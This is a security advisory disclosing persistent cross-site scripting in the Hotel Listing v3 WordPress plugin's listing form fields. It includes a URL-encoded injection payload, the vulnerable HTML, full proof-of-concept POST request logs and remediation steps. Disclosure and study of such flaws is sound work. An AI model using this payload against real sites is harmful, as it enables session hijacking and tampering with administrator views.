# Exploit Title: WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS) # Date: 2021-10-28 # Exploit Author: Vulnerability Lab # Vendor Homepage: https://hotel.eplug-ins.com/ # Software Link: https://hotel.eplug-ins.com/hoteldoc/ # Version: v3 # Tested on: Linux Document Title: =============== Hotel Listing (WP Plugin) v3.x - MyAccount XSS Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2277 Release Date: ============= 2021-10-28 Vulnerability Laboratory ID (VL-ID): ==================================== 2277 Common Vulnerability Scoring System: ==================================== 5.3 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Hotel, Motel , Bar & Restaurant Listing Plugin + Membership plugin using Wordpress with PHP and MySQL Technologie. (Copy of the Homepage:https://hotel.eplug-ins.com/hoteldoc/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple persistent cross site vulnerabilities in the official Hotel Listing v3.x wordpress plugin web-application. Affected Product(s): ==================== e-plugins Product: Hotel Listing v3.x - Plugin Wordpress (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-08-19: Researcher Notification & Coordination (Security Researcher) 2021-08-20: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-10-28: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple persistent input validation web vulnerabilities has been discovered in the official Hotel Listing v3.x wordpress plugin web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerabilities are located in add new listing - address, city, zipcode, country and location input fields of the my-account module. Remote attackers can register a low privileged application user account to inject own malicious script codes with persistent attack vector to hijack user/admin session credentials or to permanently manipulate affected modules. The execute of the malicious injected script code takes place in the frontend on preview but as well in the backend on interaction to edit or list (?&profile=all-post) by administrative accounts. The request method to inject is post and the attack vector is persistent located on the application-side. Request Method(s): [+] POST Vulnerable Module(s): [+] Add New Listing Vulnerable Input(s): [+] address [+] city [+] zipcode [+] country Affected Module(s): [+] Frontend on Preview (All Listings) [+] Backend on Preview (All Listings) or Edit Proof of Concept (PoC): ======================= The persistent web vulnerabilities can be exploited by remote attackers with privilged user accounts with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Exploitation: Payload %22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E Vulnerable Source: new-listing <div class=" form-group row"> <div class="col-md-6 "> <label for="text" class=" control-label col-md-4 ">Address</label> <input type="text" class="form-control col-md-8 " name="address" id="address" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>" placeholder="Enter address Here"> </div> <div class=" col-md-6"> <label for="text" class=" control-label col-md-4">Area</label> <input type="text" class="form-control col-md-8" name="area" id="area" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>" placeholder="Enter Area Here"> </div> </div> <div class=" form-group row"> <div class="col-md-6 "> <label for="text" class=" control-label col-md-4">City</label> <input type="text" class="form-control col-md-8" name="city" id="city" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>" placeholder="Enter city "> </div> <div class=" col-md-6"> <label for="text" class=" control-label col-md-4">Zipcode</label> <input type="text" class="form-control col-md-8" name="postcode" id="postcode" value="<[MALICIOUS SCRIPT CODE PAYLOAD!]>">>"" placeholder="Enter Zipcode "> </div> </div> <div class=" form-group row"> <div class=" col-md-6"> <label for="text" class=" control-label col-md-4">State</label> <input type="text" class="form-control col-md-8" name="state" id="state" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>" placeholder="Enter State "> </div> <div class=" col-md-6"> <label for="text" class=" control-label col-md-4">Country</label> <input type="text" class="form-control col-md-8" name="country" id="country" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>" placeholder="Enter Country "> </div> --- PoC Session Logs (POST) --- http://hotel-eplug-ins.localhost:8000/wp-admin/admin-ajax.php Host: hotel-eplug-ins.localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1603 Origin:http://hotel-eplug-ins.localhost:8000 Connection: keep-alive Referer:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=new-listing - action=iv_directories_save_listing&form_data=cpt_page=hotel&title=test1&new_post_content=test2&logo_image_id=&feature_image_id= &gallery_image_ids=&post_status=pending&postcats%5B%5D=&address=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&area=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E& city=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&postcode=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E& state=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&country=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E& latitude=&longitude=&new_tag=&phone=&fax=&contact-email=&contact_web=&award_title%5B%5D=&award_description%5B%5D=& award_year%5B%5D=&menu_title%5B%5D=&menu_description%5B%5D=&menu_price%5B%5D=&menu_order%5B%5D=&room_title%5B%5D=&room_description%5B%5D=&room_price%5B%5D=& room_order%5B%5D=&override_bookingf=no&booking_stcode=&youtube=&vimeo=&facebook=&linkedin=&twitter=&gplus=&pinterest=&instagram=&Rooms=&suites=& Rating_stars=&CHECK_IN=&CHECK_out=&Cancellation=&Pets=&Children_and_Extra_Beds=&day_name%5B%5D=Monday+&day_value1%5B%5D=& day_value2%5B%5D=&event-title=&event-detail=++&event_image_id=&user_post_id=&_wpnonce=50241bc992 - POST: HTTP/1.1 200 OK Server: nginx/1.18.0 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Access-Control-Allow-Origin:http://hotel-eplug-ins.localhost:8000 Access-Control-Allow-Credentials: true Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin Content-Encoding: gzip - http://hotel-eplug-ins.localhost:8000/my-account-2/?&profile=all-post Host: hotel-eplug-ins.localhost:8000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=new-listing - GET: HTTP/1.1 200 OK Server: nginx/1.18.0 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=all-post Solution - Fix & Patch: ======================= 1. Encode and parse all vulnerable input fields on transmit via post method request 2. Restrict the input fields to disallow usage of special chars 3. Encode and escape the output content in the edit and list itself to prevent the execution point Security Risk: ============== The security risk of the persistent cross site scripting web vulnerability in the hotel listing application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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